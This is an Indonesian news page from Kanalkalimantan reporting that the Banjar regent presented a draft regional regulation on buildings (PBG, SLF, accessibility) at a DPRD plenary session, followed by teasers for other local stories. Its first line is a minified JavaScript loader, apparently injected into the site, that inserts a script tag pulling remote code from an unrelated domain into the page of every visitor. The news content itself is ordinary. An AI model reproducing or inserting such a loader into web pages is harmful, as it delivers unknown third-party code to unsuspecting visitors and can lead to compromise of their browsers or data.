(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Bupati Banjar Hadiri Rapat Paripurna di DPRD Banjar


KANALKALIMANTAN.COM, MARTAPURA
Bupati Banjar, H Saidi Mansyur saat rapat paripurna DPRD Banjar, Kamis (26/1/2023) menegaskan, Penyusunan Rancangan Peraturan Daerah (Raperda) tentang bangunan gedung dimaksudkan sebagai pedoman dalam persyaratan administrasi maupun teknis bangunan gedung.

“Kesesuaian dengan tata ruang dan standar teknis keandalan bangunan serta kelestarian lingkungan,” ujar bupati pada Rapat Paripurna DPRD Banjar yang dipimpin Ketua HM Rofiqi, di Ruang Paripurna lantai II DPRD Banjar itu.

Saidi Mansyur mengatakan, Raperda ini bertujuan mewujudkan kesesuaian tata guna lahan dengan rencana tata ruang wilayah.

Menjamin keselamatan dan keamanan pengguna gedung dan masyarakat disekitarnya serta bangunan yang laik fungsi dan berbudaya.

 

Suasana rapat paripurna di DPRD Banjar.
Foto: DKISP Banjar

Baca juga : Wali Kota Aditya Siapkan Layanan Kesehatan hingga Ribuan Konsumsi Dukung Pelaksanaan Haul Guru Sekumpul ke-18

“Standar ruang lingkup materi yang akan diatur dalam Raperda ini antara lain klasifikasi bangunan gedung, Persetujuan Bangunan Gedung (PBG), Sertifikat Laik Fungsi (SLF), bangunan gedung yang mudah diakses oleh penyandang disabilitas, pembinaan, pengawasan dan peran serta masyarakat,” katanya.

Saidi Mansyur juga menjelaskan terkait bangunan gedung, pemerintah telah menetapkan Peraturan Pemerintah Nomor 16 Tahun 2021 tentang Peraturan Pelaksanaan Undang-Undang Nomor 28 Tahun 2002 tentang Bangunan Gedung.

“Salah satunya dalam peraturan ini disebutkan bahwa pemerintah menghapus status Izin Mendirikan Bangunan (IMB) dan menggantikannya dengan Persetujuan Bangunan Gedung (PBG),” jelas Saidi.

Ia mengharapkan Raperda dapat dibahas dalam tahapan pembahasan sebaik-baiknya sehingga tahapan pembentukan peraturan daerah terlaksana sesuai dengan ketentuan peraturan perundang-undangan.

Rapat Paripurna ini juga mengagendakan Penyampaian Laporan Kinerja DPRD tahun 2022 disampaikan oleh Wakil Ketua DPRD Banjar H Akhmad Zacky Hafizie. (Kanalkalimantan.com/rls)

Reporter : Rls
Editor : Dhani


Desy Arfianty

Recent Posts

Efisiensi Anggaran Pemko Banjarbaru, Sekda: Harus Memberi Manfaat Langsung ke Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Sekretaris Daerah (Sekda) Kota Banjarbaru Sirajoni menyampaikan dibalik efisiensi anggaran harus memberi… Read More

2 jam ago

Dinas PUPR Balangan Perbaiki Jalan Muara Pitap – Lingsir

KANALKALIMANTAN.COM, PARINGIN - Kerusakan jalan di kawasan Muara Pitap - Lingsir dikeluhkan masyarakat pengguna jalan.… Read More

2 jam ago

Mahasiswa Profesi Ners ULM Penyuluhan KB di Desa Sungai Asam

KANALKALIMANTAN.COM, MARTAPURA - Mahasiswa profesi ners Universitas Lambung Mangkurat (ULM) menggelar penyuluhan Keluarga Berencana (KB)… Read More

3 jam ago

Wabup Dodo Cek Harga Bahan Pokok di Pasar Besar Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo turun langsung ke pasar besar Kuala Kapuas… Read More

14 jam ago

Enam Pj Kades di Kecamatan Mantangai Dilantik

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 Penjabat (Pj) Kepala Desa… Read More

15 jam ago

Matangkan Layanan MPP, Pemkab Kapuas Gelar Forum Konsultasi Publik

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar forum konsultasi publik penyelenggaraan Mal Pelayanan Publik… Read More

15 jam ago

This website uses cookies.